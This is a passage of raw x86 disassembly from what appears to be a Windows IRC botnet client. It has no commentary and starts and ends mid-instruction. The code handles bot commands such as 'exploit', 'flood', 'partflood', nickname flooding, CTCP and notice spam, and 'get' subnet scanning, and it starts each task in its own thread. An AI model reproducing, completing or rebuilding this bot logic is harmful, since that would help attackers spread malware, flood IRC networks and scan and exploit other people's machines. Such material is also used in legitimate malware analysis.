[ebp-8] add esp, 0Ch cmp esi, ebx mov [ebp-0B38h], eax jz short loc_40441B push offset dword_432710 push esi call sub_41C710 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp-0B40h], eax jmp short loc_404421 ; --------------------------------------------------------------------------- loc_40441B: ; CODE XREF: .nsp0:004043FFj mov [ebp-0B40h], ebx loc_404421: ; CODE XREF: .nsp0:00404419j lea eax, [ebp-2C0h] push offset dword_4326F0 push eax call sub_41BF36 push ebx lea eax, [ebp-2C0h] push 28h push eax call sub_40B00E add esp, 14h mov [ebp-0B44h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-0BC8h] push ebx push eax push offset byte_40B079 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp-0B44h] imul ecx, 234h cmp eax, ebx mov dword_444134[ecx], eax jz short loc_40448F loc_404479: ; CODE XREF: .nsp0:0040448Dj cmp [ebp-0B34h], ebx jnz loc_406C86 push 32h call dword_427064 ; Sleep jmp short loc_404479 ; --------------------------------------------------------------------------- loc_40448F: ; CODE XREF: .nsp0:00404477j call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_4326B4 jmp loc_409199 ; --------------------------------------------------------------------------- loc_4044A0: ; CODE XREF: .nsp0:00403174j ; .nsp0:00403189j push offset aXxerooxx ; "XxerooxX" lea eax, [ebp-2C0h] push offset dword_43269C push eax call sub_41BF36 push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_4099D2 add esp, 20h jmp loc_406C86 ; --------------------------------------------------------------------------- loc_4044D7: ; CODE XREF: .nsp0:0040314Aj ; .nsp0:0040315Fj push dword_4D0F24 call sub_41B12D push eax lea eax, [ebp-2C0h] push offset unk_432670 push eax call sub_41BF36 push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_4099D2 add esp, 24h jmp loc_406C86 ; --------------------------------------------------------------------------- loc_404515: ; CODE XREF: .nsp0:00403120j ; .nsp0:00403135j mov esi, [ebp+esi-8Ch] cmp esi, ebx jz short loc_404547 cmp [ebp-0Ch], ebx jz short loc_404556 push esi push dword ptr [ebp-0Ch] call sub_41BFB0 pop ecx cmp eax, ebx pop ecx jz short loc_404556 push eax push offset aQuitS ; "QUIT :%s\r\n" push dword ptr [ebp+0Ch] call sub_40998C add esp, 0Ch jmp short loc_404556 ; --------------------------------------------------------------------------- loc_404547: ; CODE XREF: .nsp0:0040451Ej push offset aQuitLater ; "QUIT :later\r\n" push dword ptr [ebp+0Ch] call sub_40998C pop ecx pop ecx loc_404556: ; CODE XREF: .nsp0:00404523j ; .nsp0:00404532j ... push 0FFFFFFFEh jmp loc_401D6E ; --------------------------------------------------------------------------- loc_40455D: ; CODE XREF: .nsp0:004030F6j ; .nsp0:0040310Bj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push dword ptr [ebp+0Ch] call sub_40998C push offset dword_432620 call sub_4157A6 add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_401D6F ; --------------------------------------------------------------------------- loc_40457F: ; CODE XREF: .nsp0:004030CCj ; .nsp0:004030E1j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push dword ptr [ebp+0Ch] call sub_40998C push offset dword_4325EC call sub_4157A6 add esp, 0Ch jmp loc_409724 ; --------------------------------------------------------------------------- loc_40459E: ; CODE XREF: .nsp0:004030A2j ; .nsp0:004030B7j push dword ptr [ebp-4] push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_40B6EF jmp loc_40495D ; --------------------------------------------------------------------------- loc_4045B4: ; CODE XREF: .nsp0:00403078j ; .nsp0:0040308Dj push dword ptr [ebp-4] push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_40B69B jmp loc_40495D ; --------------------------------------------------------------------------- loc_4045CA: ; CODE XREF: .nsp0:0040304Ej ; .nsp0:00403063j push dword ptr [ebp-4] push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_40B630 jmp loc_40495D ; --------------------------------------------------------------------------- loc_4045E0: ; CODE XREF: .nsp0:00403024j ; .nsp0:00403039j push dword ptr [ebp-4] push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_40B562 jmp loc_40495D ; --------------------------------------------------------------------------- loc_4045F6: ; CODE XREF: .nsp0:00402F7Fj ; .nsp0:00402F94j push dword ptr [ebp+esi-8Ch] push 27h push offset dword_4325DC push offset dword_4325CC jmp loc_402B46 ; --------------------------------------------------------------------------- loc_40460E: ; CODE XREF: .nsp0:00402F55j ; .nsp0:00402F6Aj push dword ptr [ebp+esi-8Ch] push 24h push offset dword_4325C0 push offset dword_4325B0 jmp loc_402B46 ; --------------------------------------------------------------------------- loc_404626: ; CODE XREF: .nsp0:00402B71j ; .nsp0:00402B86j mov edi, [ebp+esi-8Ch] cmp edi, ebx jz short loc_404645 push edi call sub_41BE29 test eax, eax pop ecx jz short loc_404645 push edi call sub_41BE29 pop ecx jmp short loc_40464A ; --------------------------------------------------------------------------- loc_404645: ; CODE XREF: .nsp0:0040462Fj ; .nsp0:0040463Aj mov eax, dword_42907C loc_40464A: ; CODE XREF: .nsp0:00404643j mov esi, [ebp+esi-88h] mov [ebp-590h], eax cmp esi, ebx jz short loc_40466F push esi loc_40465C: ; CODE XREF: .nsp0:0040467Ej lea eax, [ebp-5A0h] push 10h push eax call sub_41C030 add esp, 0Ch jmp short loc_404686 ; --------------------------------------------------------------------------- loc_40466F: ; CODE XREF: .nsp0:00404659j cmp [ebp-8FFh], bl jz short loc_404680 lea eax, [ebp-0C0h] push eax jmp short loc_40465C ; --------------------------------------------------------------------------- loc_404680: ; CODE XREF: .nsp0:00404675j mov [ebp-5A0h], bl loc_404686: ; CODE XREF: .nsp0:0040466Dj mov eax, [ebp-4] push dword ptr [ebp-88h] mov esi, [ebp+0Ch] mov [ebp-584h], eax mov eax, [ebp-8] push 80h mov [ebp-580h], eax lea eax, [ebp-620h] push eax mov [ebp-624h], esi call sub_41C030 add esp, 0Ch push dword ptr [ebp-590h] push esi call sub_40AB6A pop ecx push eax lea eax, [ebp-2C0h] push offset dword_432588 push eax call sub_41BF36 push ebx lea eax, [ebp-2C0h] push 19h push eax call sub_40B00E add esp, 1Ch mov [ebp-58Ch], eax lea eax, [ebp-10h] push eax lea eax, [ebp-624h] push ebx push eax push offset loc_4117CF push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp-58Ch] imul ecx, 234h cmp eax, ebx mov dword_444134[ecx], eax jz short loc_404737 loc_404721: ; CODE XREF: .nsp0:00404735j cmp [ebp-57Ch], ebx jnz loc_401D6C push 32h call dword_427064 ; Sleep jmp short loc_404721 ; --------------------------------------------------------------------------- loc_404737: ; CODE XREF: .nsp0:0040471Fj call dword_42708C ; RtlGetLastWin32Error push eax push offset dword_43254C jmp loc_4020B5 ; --------------------------------------------------------------------------- loc_404748: ; CODE XREF: .nsp0:00402B07j ; .nsp0:00402B1Cj mov esi, [ebp+esi-8Ch] cmp esi, ebx jz short loc_404768 push esi call sub_41BE29 test ax, ax pop ecx jz short loc_404768 push esi call sub_41BE29 pop ecx jmp short loc_40476E ; --------------------------------------------------------------------------- loc_404768: ; CODE XREF: .nsp0:00404751j ; .nsp0:0040475Dj mov ax, word_429088 loc_40476E: ; CODE XREF: .nsp0:00404766j push dword ptr [ebp-88h] mov esi, [ebp+0Ch] mov edi, [ebp-4] mov [ebp-97Ch], ax mov eax, [ebp-8] push 80h mov [ebp-96Ch], eax lea eax, [ebp-9FCh] push eax mov [ebp-0A00h], esi mov [ebp-970h], edi call sub_41C030 movzx eax, word ptr [ebp-97Ch] add esp, 0Ch push eax push esi call sub_40AB6A pop ecx push eax lea eax, [ebp-2C0h] push offset unk_432520 push eax call sub_41BF36 push ebx lea eax, [ebp-2C0h] push edi push eax push dword ptr [ebp-88h] push esi call sub_4099D2 push ebx lea eax, [ebp-2C0h] push 6 push eax call sub_40B00E add esp, 30h mov [ebp-978h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-0A00h] push ebx push eax push offset word_40ECDA push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp-978h] imul ecx, 234h cmp eax, ebx mov dword_444134[ecx], eax jz short loc_40483D loc_404827: ; CODE XREF: .nsp0:0040483Bj cmp [ebp-968h], ebx jnz loc_401D6C push 32h call dword_427064 ; Sleep jmp short loc_404827 ; --------------------------------------------------------------------------- loc_40483D: ; CODE XREF: .nsp0:00404825j call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_4324E0 jmp loc_4020B5 ; --------------------------------------------------------------------------- loc_40484E: ; CODE XREF: .nsp0:00402AB3j ; .nsp0:00402AC8j ... push edi push offset aSecure ; "secure" call sub_41C710 pop ecx test eax, eax pop ecx jz short loc_404876 push edi push offset aSec ; "sec" call sub_41C710 pop ecx mov [ebp-0A10h], ebx test eax, eax pop ecx jnz short loc_404880 loc_404876: ; CODE XREF: .nsp0:0040485Dj mov dword ptr [ebp-0A10h], 1 loc_404880: ; CODE XREF: .nsp0:00404874j push dword ptr [ebp-88h] lea eax, [ebp-0A94h] push 80h push eax call sub_41C030 mov eax, [ebp+0Ch] add esp, 0Ch cmp [ebp-0A10h], ebx mov [ebp-0A98h], eax mov eax, [ebp-4] mov [ebp-0A0Ch], eax mov eax, [ebp-8] mov [ebp-0A08h], eax mov eax, offset aSecuring ; "Securing" jnz short loc_4048C7 mov eax, offset aUnsecuring ; "Unsecuring" loc_4048C7: ; CODE XREF: .nsp0:004048C0j push eax push offset dword_4324AC lea eax, [ebp-2C0h] push 200h push eax call sub_41C030 push ebx lea eax, [ebp-2C0h] push 22h push eax call sub_40B00E add esp, 1Ch mov [ebp-0A14h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-0A98h] push ebx push eax push offset sub_41A6A2 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp-0A14h] imul ecx, 234h cmp eax, ebx mov dword_444134[ecx], eax jz short loc_40493B loc_404925: ; CODE XREF: .nsp0:00404939j cmp [ebp-0A04h], ebx jnz loc_40833C push 32h call dword_427064 ; Sleep jmp short loc_404925 ; --------------------------------------------------------------------------- loc_40493B: ; CODE XREF: .nsp0:00404923j call dword_42708C ; RtlGetLastWin32Error push eax push offset dword_432470 jmp loc_40832D ; --------------------------------------------------------------------------- loc_40494C: ; CODE XREF: .nsp0:00402A89j ; .nsp0:00402A9Ej push dword ptr [ebp-4] push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_41AF50 loc_40495D: ; CODE XREF: .nsp0:004045AFj ; .nsp0:004045C5j ... add esp, 0Ch jmp loc_4097B8 ; --------------------------------------------------------------------------- loc_404965: ; CODE XREF: .nsp0:00402A5Fj ; .nsp0:00402A74j push offset unk_4323C0 jmp loc_40854F ; --------------------------------------------------------------------------- loc_40496F: ; CODE XREF: .nsp0:00402A35j ; .nsp0:00402A4Aj push offset aXxerxx ; "XxerxX" push offset dword_4323B0 jmp loc_406C56 ; --------------------------------------------------------------------------- loc_40497E: ; CODE XREF: .nsp0:00402A0Bj ; .nsp0:00402A20j mov esi, [ebp+esi-8Ch] cmp esi, ebx jz short loc_4049DE push esi call sub_41BE29 cmp eax, ebx pop ecx jl short loc_4049D3 cmp eax, 1 jge short loc_4049D3 mov edx, [ebp+20h] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_4049C8 lea eax, [esi+1] push eax lea eax, [ebp-2C0h] push offset unk_43362C push eax call sub_41BF36 add esp, 0Ch mov [esi], bl jmp loc_40820E ; --------------------------------------------------------------------------- loc_4049C8: ; CODE XREF: .nsp0:004049A7j push eax push offset unk_432384 jmp loc_406E7B ; --------------------------------------------------------------------------- loc_4049D3: ; CODE XREF: .nsp0:00404992j ; .nsp0:00404997j push eax push offset unk_432358 jmp loc_406E7B ; --------------------------------------------------------------------------- loc_4049DE: ; CODE XREF: .nsp0:00404987j mov edi, [ebp+20h] xor esi, esi loc_4049E3: ; CODE XREF: .nsp0:004049FFj push dword ptr [ebp-90h] push edi call sub_41C710 pop ecx test eax, eax pop ecx jz short loc_404A06 inc esi add edi, 80h cmp esi, 1 jl short loc_4049E3 jmp loc_40820E ; --------------------------------------------------------------------------- loc_404A06: ; CODE XREF: .nsp0:004049F3j mov eax, [ebp+20h] shl esi, 7 mov [esi+eax], bl lea eax, [ebp-0C0h] push eax push offset unk_43362C jmp loc_406E7B ; --------------------------------------------------------------------------- loc_404A20: ; CODE XREF: .nsp0:004029E1j ; .nsp0:004029F6j push dword ptr [ebp-8Ch] push offset dword_4335A0 call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4034A9 call sub_40B1D7 push ebx call dword_427068 ; ExitProcess loc_404A46: ; CODE XREF: .nsp0:004034E2j push offset aGet ; "get" push esi call sub_41C710 pop ecx test eax, eax pop ecx jnz loc_404AEC cmp dword_4D49A8, ebx jz short loc_404A72 push offset dword_4D4388 push offset unk_43231C jmp loc_404AFE ; --------------------------------------------------------------------------- loc_404A72: ; CODE XREF: .nsp0:00404A61j push 10h pop eax mov [ebp-2D0h], eax push eax lea eax, [ebp-2E8h] push ebx push eax call sub_41BC40 add esp, 0Ch lea eax, [ebp-2D0h] push eax lea eax, [ebp-2E8h] push eax push dword ptr [ebp+0Ch] call dword_42722C ; getsockname movzx eax, byte ptr [ebp-2E2h] push eax movzx eax, byte ptr [ebp-2E3h] push eax movzx eax, byte ptr [ebp-2E4h] push eax lea eax, [ebp-0E30h] push offset aD_D_D_ ; "%d.%d.%d.*" push eax call sub_41BF36 lea eax, [ebp-0E30h] push eax lea eax, [ebp-2C0h] push offset unk_43231C push eax call sub_41BF36 add esp, 20h jmp loc_403501 ; --------------------------------------------------------------------------- loc_404AEC: ; CODE XREF: .nsp0:00404A55j push esi call dword_4D1230 ; inet_addr cmp eax, 0FFFFFFFFh push esi jnz short loc_404B12 push offset unk_4322DC loc_404AFE: ; CODE XREF: .nsp0:00404A6Dj lea eax, [ebp-2C0h] push eax call sub_41BF36 add esp, 0Ch jmp loc_403501 ; --------------------------------------------------------------------------- loc_404B12: ; CODE XREF: .nsp0:00404AF7j push offset dword_4D4388 call sub_41C550 push esi lea eax, [ebp-2C0h] push offset unk_4322B0 push eax mov dword_4D49A8, 1 call sub_41BF36 add esp, 14h jmp loc_403501 ; --------------------------------------------------------------------------- loc_404B40: ; CODE XREF: .nsp0:004034CAj push edi push offset aExploit ; "exploit" call sub_41C710 pop ecx test eax, eax pop ecx jnz loc_404C3A mov eax, [ebp-4] mov esi, offset aO1_0 ; "#o1" mov [ebp-13E4h], eax mov eax, [ebp-8] mov [ebp-13E0h], eax mov eax, [ebp+0Ch] mov [ebp-13F4h], eax mov edi, 80h push esi lea eax, [ebp-1474h] push edi push eax mov dword ptr [ebp-13ECh], 1 call sub_41C030 push esi lea eax, [ebp-14F4h] push edi push eax call sub_41C030 push dword ptr [ebp+18h] lea eax, [ebp-1504h] push 10h push eax call sub_41C030 lea eax, [ebp-1504h] push eax lea eax, [ebp-2C0h] push offset unk_432278 push eax call sub_41BF36 push ebx lea eax, [ebp-2C0h] push 8 push eax call sub_40B00E add esp, 3Ch mov [ebp-13E8h], eax lea eax, [ebp-2FCh] push eax lea eax, [ebp-1504h] push ebx push eax push offset byte_40B7B5 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp-13E8h] imul ecx, 234h cmp eax, ebx mov dword_444134[ecx], eax jz short loc_404C29 loc_404C13: ; CODE XREF: .nsp0:00404C27j cmp [ebp-13DCh], ebx jnz loc_40820E push 32h call dword_427064 ; Sleep jmp short loc_404C13 ; --------------------------------------------------------------------------- loc_404C29: ; CODE XREF: .nsp0:00404C11j call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_432238 jmp loc_406E7B ; --------------------------------------------------------------------------- loc_404C3A: ; CODE XREF: .nsp0:00404B4Fj push edi push offset aReconnect_in ; "reconnect.in" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_40972B push edi push offset aRin ; "rin" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_40972B push edi push offset aReconnect_in_m ; "reconnect.in.ms" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4096E5 push edi push offset aRinms ; "rinms" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4096E5 push dword ptr [ebp+10h] push offset aFlood ; "flood" call sub_41C710 mov edi, dword_427064 pop ecx test eax, eax pop ecx jnz loc_4057F6 call dword_4270A8 ; GetTickCount push eax call sub_41BF88 push dword ptr [ebp+18h] push offset aLoad ; "load" call sub_41C710 add esp, 0Ch test eax, eax jnz short loc_404D3D cmp [ebp+esi-80h], ebx jz short loc_404D3D push dword ptr [ebp+esi-80h] call sub_41BE29 pop ecx push eax push dword ptr [ebp+esi-84h] call sub_41BE29 pop ecx push eax push dword ptr [ebp+esi-88h] call sub_418065 push dword ptr [ebp+esi-84h] lea eax, [ebp-2C0h] push dword ptr [ebp+esi-88h] push dword ptr [ebp+esi-80h] push offset unk_4321D8 push eax call sub_41BF36 add esp, 20h cmp [ebp-8], ebx jnz short loc_404D3D push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_4099D2 add esp, 14h loc_404D3D: ; CODE XREF: .nsp0:00404CC9j ; .nsp0:00404CCFj ... push dword ptr [ebp+18h] push offset dword_4321D4 call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_404DA6 mov eax, [ebp+esi-84h] cmp eax, ebx jz short loc_404DA6 push offset asc_43368C ; " " push offset dword_4321D0 push eax call sub_41869A push eax lea eax, [ebp-50F4h] push eax call sub_41C550 lea eax, [ebp-50F4h] push eax lea eax, [ebp-2C0h] push dword ptr [ebp+esi-88h] push offset dword_4321C0 push eax call sub_41BF36 lea eax, [ebp-2C0h] push eax call sub_417D85 add esp, 28h loc_404DA6: ; CODE XREF: .nsp0:00404D4Ej ; .nsp0:00404D59j push dword ptr [ebp+18h] push offset dword_4321BC call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_404E0F mov eax, [ebp+esi-84h] cmp eax, ebx jz short loc_404E0F push offset asc_43368C ; " " push offset dword_4321D0 push eax call sub_41869A push eax lea eax, [ebp-4BF0h] push eax call sub_41C550 lea eax, [ebp-4BF0h] push eax lea eax, [ebp-2C0h] push dword ptr [ebp+esi-88h] push offset dword_4321A8 push eax call sub_41BF36 lea eax, [ebp-2C0h] push eax call sub_417D85 add esp, 28h loc_404E0F: ; CODE XREF: .nsp0:00404DB7j ; .nsp0:00404DC2j push dword ptr [ebp+18h] push offset aNt ; "nt" call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_404E78 mov eax, [ebp+esi-84h] cmp eax, ebx jz short loc_404E78 push offset asc_43368C ; " " push offset dword_4321D0 push eax call sub_41869A push eax lea eax, [ebp-46ECh] push eax call sub_41C550 lea eax, [ebp-46ECh] push eax lea eax, [ebp-2C0h] push dword ptr [ebp+esi-88h] push offset aNoticeSS_1 ; "notice %s :%s" push eax call sub_41BF36 lea eax, [ebp-2C0h] push eax call sub_417D85 add esp, 28h loc_404E78: ; CODE XREF: .nsp0:00404E20j ; .nsp0:00404E2Bj push dword ptr [ebp+18h] push offset aMode ; "mode" call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_404EE1 mov eax, [ebp+esi-84h] cmp eax, ebx jz short loc_404EE1 push offset asc_43368C ; " " push offset dword_4321D0 push eax call sub_41869A push eax lea eax, [ebp-4DF0h] push eax call sub_41C550 lea eax, [ebp-4DF0h] push eax lea eax, [ebp-2C0h] push dword ptr [ebp+esi-88h] push offset aModeSS ; "mode %s %s" push eax call sub_41BF36 lea eax, [ebp-2C0h] push eax call sub_417D85 add esp, 28h loc_404EE1: ; CODE XREF: .nsp0:00404E89j ; .nsp0:00404E94j push dword ptr [ebp+18h] push offset aJoin ; "join" call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_404F20 mov eax, [ebp+esi-88h] cmp eax, ebx jz short loc_404F20 push eax lea eax, [ebp-2C0h] push offset aJoinS ; "join %s" push eax call sub_41BF36 lea eax, [ebp-2C0h] push eax call sub_417D85 add esp, 10h loc_404F20: ; CODE XREF: .nsp0:00404EF2j ; .nsp0:00404EFDj push dword ptr [ebp+18h] push offset aPart_0 ; "part" call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_404F5F mov eax, [ebp+esi-88h] cmp eax, ebx jz short loc_404F5F push eax lea eax, [ebp-2C0h] push offset aPartS ; "part %s" push eax call sub_41BF36 lea eax, [ebp-2C0h] push eax call sub_417D85 add esp, 10h loc_404F5F: ; CODE XREF: .nsp0:00404F31j ; .nsp0:00404F3Cj push dword ptr [ebp+18h] push offset aPartflood ; "partflood" call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_404FA3 mov eax, [ebp+esi-88h] cmp eax, ebx jz short loc_404FA3 push offset aCyber ; "CYBER" push eax lea eax, [ebp-2C0h] push offset aPartSS ; "part %s %s" push eax call sub_41BF36 lea eax, [ebp-2C0h] push eax call sub_417D85 add esp, 14h loc_404FA3: ; CODE XREF: .nsp0:00404F70j ; .nsp0:00404F7Bj push dword ptr [ebp+18h] push offset aPnick ; "pnick" call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_405018 cmp [ebp+esi-88h], ebx jz short loc_405018 call dword_4270A8 ; GetTickCount push eax call sub_41BF88 call sub_41BF92 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp-17B4h] push edx push dword ptr [ebp+esi-88h] push offset dword_432140 push eax call sub_41BF36 lea eax, [ebp-17B4h] push eax lea eax, [ebp-2C0h] push offset dword_432138 push eax call sub_41BF36 lea eax, [ebp-2C0h] push eax call sub_417D85 add esp, 24h loc_405018: ; CODE XREF: .nsp0:00404FB4j ; .nsp0:00404FBDj push dword ptr [ebp+18h] push offset dword_43212C call sub_41C710 pop ecx test eax, eax pop ecx jnz loc_40515F cmp [ebp+esi-88h], ebx jz loc_40515F push dword ptr [ebp+esi-88h] lea eax, [ebp-2C0h] push offset aJoinS ; "join %s" push eax call sub_41BF36 lea eax, [ebp-2C0h] push eax call sub_417D85 push offset aCyber ; "CYBER" lea eax, [ebp-2C0h] push dword ptr [ebp+esi-88h] push offset aPartSS ; "part %s %s" push eax call sub_41BF36 lea eax, [ebp-2C0h] push eax call sub_417D85 add esp, 24h call sub_41BF92 cdq mov ecx, 3E8h idiv ecx push edx call edi ; dword_427064 push dword ptr [ebp+esi-88h] lea eax, [ebp-2C0h] push offset aJoinS ; "join %s" push eax call sub_41BF36 lea eax, [ebp-2C0h] push eax call sub_417D85 add esp, 10h call sub_41BF92 cdq mov ecx, 384h idiv ecx push edx call edi ; dword_427064 push offset aCyber ; "CYBER" lea eax, [ebp-2C0h] push dword ptr [ebp+esi-88h] push offset aPartSS ; "part %s %s" push eax call sub_41BF36 lea eax, [ebp-2C0h] push eax call sub_417D85 push dword ptr [ebp+esi-88h] lea eax, [ebp-2C0h] push offset aJoinS ; "join %s" push eax call sub_41BF36 lea eax, [ebp-2C0h] push eax call sub_417D85 add esp, 24h call sub_41BF92 cdq mov ecx, 0C8h idiv ecx push edx call edi ; dword_427064 push offset aCyber ; "CYBER" lea eax, [ebp-2C0h] push dword ptr [ebp+esi-88h] push offset aPartSS ; "part %s %s" push eax call sub_41BF36 lea eax, [ebp-2C0h] push eax call sub_417D85 add esp, 14h loc_40515F: ; CODE XREF: .nsp0:00405029j ; .nsp0:00405036j push dword ptr [ebp+18h] push offset dword_432128 call sub_41C710 pop ecx test eax, eax pop ecx jnz loc_4051F9 cmp [ebp+esi-88h], ebx jz short loc_4051F9 call dword_4270A8 ; GetTickCount push eax call sub_41BF88 pop ecx call sub_41BF92 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41BF92 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41BF92 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41BF92 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41BF92 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp-2C0h] push edx push dword ptr [ebp+esi-88h] push offset dword_432100 push eax call sub_41BF36 lea eax, [ebp-2C0h] push eax call sub_417D85 add esp, 24h loc_4051F9: ; CODE XREF: .nsp0:00405170j ; .nsp0:0040517Dj push dword ptr [ebp+18h] push offset aNick_0 ; "nick" call sub_41C710 pop ecx test eax, eax pop ecx jnz loc_4052F6 mov eax, [ebp+esi-88h] cmp eax, ebx jz loc_4052F6 push eax lea eax, [ebp-2C0h] push offset aJoinS ; "join %s" push eax call sub_41BF36 lea eax, [ebp-2C0h] push eax call sub_417D85 lea eax, [ebp-4BCh] push eax call sub_4180E3 lea eax, [ebp-4BCh] push eax lea eax, [ebp-2C0h] push offset dword_432138 push eax call sub_41BF36 lea eax, [ebp-2C0h] push eax call sub_417D85 add esp, 24h call sub_41BF92 cdq mov ecx, 514h idiv ecx push edx call edi ; dword_427064 lea eax, [ebp-4BCh] push eax call sub_4180E3 lea eax, [ebp-4BCh] push eax lea eax, [ebp-2C0h] push offset dword_432138 push eax call sub_41BF36 lea eax, [ebp-2C0h] push eax call sub_417D85 add esp, 14h call sub_41BF92 cdq mov ecx, 1F4h idiv ecx push edx call edi ; dword_427064 lea eax, [ebp-4BCh] push eax call sub_4180E3 lea eax, [ebp-4BCh] push eax lea eax, [ebp-2C0h] push offset dword_432138 push eax call sub_41BF36 lea eax, [ebp-2C0h] push eax call sub_417D85 add esp, 14h loc_4052F6: ; CODE XREF: .nsp0:0040520Aj ; .nsp0:00405219j push dword ptr [ebp+18h] push offset aChgnick ; "chgnick" call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_40533C lea eax, [ebp-1808h] push eax call sub_4180E3 lea eax, [ebp-1808h] push eax lea eax, [ebp-2C0h] push offset dword_432138 push eax call sub_41BF36 lea eax, [ebp-2C0h] push eax call sub_417D85 add esp, 14h loc_40533C: ; CODE XREF: .nsp0:00405307j push dword ptr [ebp+18h] push offset aMsg ; "msg" call sub_41C710 pop ecx test eax, eax pop ecx jnz loc_405428 cmp [ebp+esi-88h], ebx jz loc_405428 push dword ptr [ebp+esi-88h] lea eax, [ebp-2C0h] push offset aJoinS ; "join %s" push eax call sub_41BF36 lea eax, [ebp-2C0h] push eax call sub_417D85 push offset aCyber_0 ; "CYBER" lea eax, [ebp-2C0h] push dword ptr [ebp+esi-88h] push offset dword_4321C0 push eax call sub_41BF36 lea eax, [ebp-2C0h] push eax call sub_417D85 add esp, 24h call sub_41BF92 cdq mov ecx, 3E8h idiv ecx push edx call edi ; dword_427064 push offset aCyber_0 ; "CYBER" lea eax, [ebp-2C0h] push dword ptr [ebp+esi-88h] push offset dword_4321C0 push eax call sub_41BF36 lea eax, [ebp-2C0h] push eax call sub_417D85 add esp, 14h call sub_41BF92 cdq mov ecx, 384h idiv ecx push edx call edi ; dword_427064 push offset aCyber_0 ; "CYBER" lea eax, [ebp-2C0h] push dword ptr [ebp+esi-88h] push offset dword_4321C0 push eax call sub_41BF36 lea eax, [ebp-2C0h] push eax call sub_417D85 add esp, 14h loc_405428: ; CODE XREF: .nsp0:0040534Dj ; .nsp0:0040535Aj push dword ptr [ebp+18h] push offset aNotice_0 ; "notice" call sub_41C710 pop ecx test eax, eax pop ecx jnz loc_405514 cmp [ebp+esi-88h], ebx jz loc_405514 push dword ptr [ebp+esi-88h] lea eax, [ebp-2C0h] push offset aJoinS ; "join %s" push eax call sub_41BF36 lea eax, [ebp-2C0h] push eax call sub_417D85 push offset aCyber_0 ; "CYBER" lea eax, [ebp-2C0h] push dword ptr [ebp+esi-88h] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41BF36 lea eax, [ebp-2C0h] push eax call sub_417D85 add esp, 24h call sub_41BF92 cdq mov ecx, 3E8h idiv ecx push edx call edi ; dword_427064 push offset aCyber_0 ; "CYBER" lea eax, [ebp-2C0h] push dword ptr [ebp+esi-88h] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41BF36 lea eax, [ebp-2C0h] push eax call sub_417D85 add esp, 14h call sub_41BF92 cdq mov ecx, 384h idiv ecx push edx call edi ; dword_427064 push offset aCyber_0 ; "CYBER" lea eax, [ebp-2C0h] push dword ptr [ebp+esi-88h] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41BF36 lea eax, [ebp-2C0h] push eax call sub_417D85 add esp, 14h loc_405514: ; CODE XREF: .nsp0:00405439j ; .nsp0:00405446j push dword ptr [ebp+18h] push offset aCtcp ; "ctcp" call sub_41C710 pop ecx test eax, eax pop ecx jnz loc_405628 cmp [ebp+esi-88h], ebx jz loc_405628 push dword ptr [ebp+esi-88h] lea eax, [ebp-2C0h] push offset aJoinS ; "join %s" push eax call sub_41BF36 lea eax, [ebp-2C0h] push eax call sub_417D85 push dword ptr [ebp+esi-88h] lea eax, [ebp-2C0h] push offset dword_4320B8 push eax call sub_41BF36 lea eax, [ebp-2C0h] push eax call sub_417D85 add esp, 20h call sub_41BF92 cdq mov ecx, 514h idiv ecx push edx call edi ; dword_427064 push dword ptr [ebp+esi-88h] lea eax, [ebp-2C0h] push offset dword_4320A0 push eax call sub_41BF36 lea eax, [ebp-2C0h] push eax call sub_417D85 add esp, 10h call sub_41BF92 cdq mov ecx, 514h idiv ecx push edx call edi ; dword_427064 push dword ptr [ebp+esi-88h] lea eax, [ebp-2C0h] push offset dword_432088 push eax call sub_41BF36 lea eax, [ebp-2C0h] push eax call sub_417D85 add esp, 10h call sub_41BF92 cdq mov ecx, 514h idiv ecx push edx call edi ; dword_427064 push dword ptr [ebp+esi-88h] lea eax, [ebp-2C0h] push offset dword_432088 push 